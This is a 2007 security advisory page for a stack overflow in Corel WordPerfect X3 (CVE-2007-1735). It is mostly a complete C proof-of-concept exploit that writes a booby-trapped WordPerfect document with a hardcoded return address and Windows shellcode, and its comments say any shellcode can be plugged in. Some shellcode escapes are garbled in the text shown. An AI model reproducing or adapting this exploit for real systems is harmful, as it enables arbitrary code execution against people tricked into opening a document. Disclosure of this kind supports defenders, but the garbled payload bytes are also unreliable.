SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Corel Wordperfect Office X3 Stack Overflow


Arrow  SecurityAlert : 2489
Arrow  CVE : CVE-2007-1735
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Exploit Given : Yes
Arrow  Credit : Jonathan So
Arrow  Published : 31.03.2007

Arrow  Affected Software : Wordperfect X3 (13.0.0.565)



Arrow  Advisory Text :  

Product Name: Wordperfect X3 (13.0.0.565)
Vendor: http://www.corel.com
Date: 28 March, 2007
Author: Jonathan So < jonny [ @ ] nop-art [ dot] net>
Advisory URL: http://www.nop-art.net/advisories/wpwinX3.txt

I. DESCRIPTION

A stack overflow vulnerability has been found in Wordperfect X3. The
vulnerability could allow an
attacker to create a specially crafted document to execute abitrary code
when opened by some
user.

II. DETAILS

Wordperfect X3 fails to check the length of the printer selection (.PRS)
filename stored inside
Wordperfect documents, allowing an attacker to cause a stack overflow in
order to execute
arbitrary code.

III. VENDOR RESPONSE

Vendor notified on 26 March, 2007. Awaiting response.

IV. CREDIT

Discovered by Jonathan So
Additional thanks to Tom Neaves

V. EXPLOIT

/**
* wp13exp.c - Wordperfect X3 remote exploit
*
* Proof of concept exploit for a stack based overflow in
* Corel Wordperfext X3. The vulnerability can be exploited
* by tricking a user into opening a specially crafted document.
*
* Usage:
*
* c:win13exp evildoc.wpd
*
* Original advisory: http://www.nop-art.net/advisories/wpwin13.txt
* Author: Jonathan So [ jonny [ @ ] nop-art.net ]
*/

#define WINDOWS
//#define LINUX

#ifdef WINDOWS
#include <windows.h>
#endif
#include <stdio.h>

// Tested for Wordperfect X3 (13.0.0.565) on XP SP2
#define RET_ADDR 0x0012DF50

// Don't change these
#define PKT_INDEX_SIZE 14
#define HEADER_SIZE 512
#define PRINTSEL_PKT_SIZE 530
#define PRINTSEL_FAKE_SIZE 713
#define FONTDESC_PKT_SIZE 420

// WordPerfect file header
struct wp_header {
unsigned char file_id[4];
unsigned long doc_ptr;
unsigned char product_type;
unsigned char document_type;
unsigned char major_version;
unsigned char minor_version;
unsigned short encryption;
unsigned short index_ptr;
unsigned char reserved[4];
unsigned long file_size;
unsigned char extended_header[488];
};

// Index for data packet
struct packet_index {
unsigned char flags;
unsigned char packet_type;
unsigned short use_count;
unsigned short hidden_count;
unsigned long size;
unsigned long data_ptr;
};

// This WinExec shellcode locates kernel32.dll using PEB method before
// calling WinExec (using the string at the end of the shellcode) and
// finally calling ExitProcess. Should work for XP/2000/2003/NT but
// any shellcode should plug straight in, up to 420 bytes and it doesn't
// matter if it contain nulls.
char shellcode[] =
"xb8x7exd8xe2x73x50xe8x21x00x00x00x83xc4x04x50xb8x98xf
ex8ax0ex50xe8x12x00x00x00"
"x83xc4x04x50xebx62x5ex58x6ax00x56xffxd0x58x6ax00xffxd
0x33xc0x64xa1x30x00x00x00"
"x8bx40x0cx8bx70x1cxadx8bx68x08x8bx45x3cx8bx54x05x78x0
3xd5x8bx5ax20x8bx4ax18x03"
"xddxe3x30x49x8bx34x8bx03xf5x33xffx33xc0xfcxacx84xc0x7
4x07xc1xcfx0dx03xf8xebxf4"
"x3bx7cx24x04x75xe1x8bx5ax24x03xddx66x8bx0cx4bx8bx5ax1
cx03xddx8bx04x8bx03xc5xc3"
"xe8x99xffxffxff" "cmd /c echo nop-art>c:\test.txt && notepad
c:\test.txtx00";

char fill_string[] = "nop-art.net";

void construct_header(struct wp_header* header) {
int i;

// These are constant for all Wordperfect documents
header->file_id[0] = -1;
header->file_id[1] = 'W';
header->file_id[2] = 'P';
header->file_id[3] = 'C';

// Document header values
header->doc_ptr = 0;
header->product_type = 0x01;
header->document_type = 0x0A;
header->major_version = 0x02;
header->minor_version = 0x01;
header->encryption = 0x00;
header->index_ptr = 0x0200;

header->reserved[0] = 0x05;
for (i=1;i<4;i++) {
header->reserved[i] = 0x00;
}

header->file_size = 0;

for (i=0;i<488;i++) {
header->extended_header[i] = 0x00;
}
}

void construct_document(FILE *fp, long ret_addr)
{
// Index packets
struct packet_index index[3] = {
{ 0x02, 0x00, 0x03, 0x00, 0x00, x00 },
{ 0x00, 0x55, 0x01, 0x00, 0x00, 0x00 },
{ 0x08, 0x23, 0x01, 0x00, 0x00, 0x00 }
};

struct wp_header header;

unsigned char fontdesc_packet[FONTDESC_PKT_SIZE];
unsigned char printsel_packet[PRINTSEL_PKT_SIZE];
char *char_ptr;
int i;
int offset;

construct_header(&header);

// Fill the font selection packet with NOP's
for (i=0;i<FONTDESC_PKT_SIZE;i++) {
fontdesc_packet[i] = 0x90;
}

// Set size and offset for index packets
index[1].size = FONTDESC_PKT_SIZE;
index[2].size = 713;
index[2].data_ptr = HEADER_SIZE + (PKT_INDEX_SIZE * 3);
index[1].data_ptr = index[2].data_ptr + PRINTSEL_PKT_SIZE;

// Copy shellcode into the end of the font descriptor packet
offset = index[1].size - sizeof(shellcode);
for (i=0; i < sizeof(shellcode); i++) {
fontdesc_packet[i + offset] = shellcode[i];
}

// Fill the printer selection packet with some data
for (i=0; i < PRINTSEL_PKT_SIZE ; i++) {
printsel_packet[i] = fill_string[i % sizeof(fill_string)];
}

// Add the return address on the end. Copied from a unicode buffer to
non-unicode
char_ptr = (char*) &ret_addr;
for (i=8;i>0;i-=2) {
printsel_packet[PRINTSEL_PKT_SIZE-i] = *char_ptr;
printsel_packet[PRINTSEL_PKT_SIZE-(i-1)] = 0x00;
char_ptr++;
}

// Set total file size and pointer to document body
header.file_size = HEADER_SIZE + (PKT_INDEX_SIZE * 3) + PRINTSEL_PKT_SIZE
+ FONTDESC_PKT_SIZE;
header.doc_ptr = header.file_size;

// Now write all the data to file. Some compilers align structure members
// on different size boundaries so we have to write them all separately
fwrite((void*) &header.file_id, 4, 1, fp);
fwrite((void*) &header.doc_ptr, 4, 1, fp);
fwrite((void*) &header.product_type, 1, 1, fp);
fwrite((void*) &header.document_type, 1, 1, fp);
fwrite((void*) &header.major_version, 1, 1, fp);
fwrite((void*) &header.minor_version, 1, 1, fp);
fwrite((void*) &header.encryption, 2, 1, fp);
fwrite((void*) &header.index_ptr, 2, 1, fp);
fwrite((void*) &header.reserved, 4, 1, fp);
fwrite((void*) &header.file_size, 4, 1, fp);
fwrite((void*) &header.extended_header, 488, 1, fp);

fwrite((void*) &index[0].flags, 1, 1, fp);
fwrite((void*) &index[0].packet_type, 1, 1, fp);
fwrite((void*) &index[0].use_count, 2, 1, fp);
fwrite((void*) &index[0].hidden_count, 2, 1, fp);
fwrite((void*) &index[0].size, 4, 1, fp);
fwrite((void*) &index[0].data_ptr, 4, 1, fp);

fwrite((void*) &index[1].flags, 1, 1, fp);
fwrite((void*) &index[1].packet_type, 1, 1, fp);
fwrite((void*) &index[1].use_count, 2, 1, fp);
fwrite((void*) &index[1].hidden_count, 2, 1, fp);
fwrite((void*) &index[1].size, 4, 1, fp);
fwrite((void*) &index[1].data_ptr, 4, 1, fp);

fwrite((void*) &index[2].flags, 1, 1, fp);
fwrite((void*) &index[2].packet_type, 1, 1, fp);
fwrite((void*) &index[2].use_count, 2, 1, fp);
fwrite((void*) &index[2].hidden_count, 2, 1, fp);
fwrite((void*) &index[2].size, 4, 1, fp);
fwrite((void*) &index[2].data_ptr, 4, 1, fp);

fwrite(printsel_packet, PRINTSEL_PKT_SIZE, 1, fp);
fwrite(fontdesc_packet, FONTDESC_PKT_SIZE, 1, fp);

fclose(fp);
}

int main (int argc, char **argv)
{
FILE *fp;
unsigned long ret_addr = RET_ADDR;

if (argc < 2) {
printf("Usage: %s <filename> [-r 0xdeadbeef]n", argv[0]);
printf(" -r <retaddr> (0x%x default)n", ret_addr);
return 0;
}

if (argc >= 4) {
if (memcmp(argv[2], "-r", strlen(argv[2]))==0) {
ret_addr = strtoul(argv[3], NULL, 0);
}
}

if ((fp = fopen(argv[1], "wb")) == NULL) {
printf("Error creating file: %sn", argv[1]);
return -1;
}

construct_document(fp, ret_addr);

printf("Created document %s with return address [0x%x]n", argv[1],
ret_addr);

return 0;
}




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.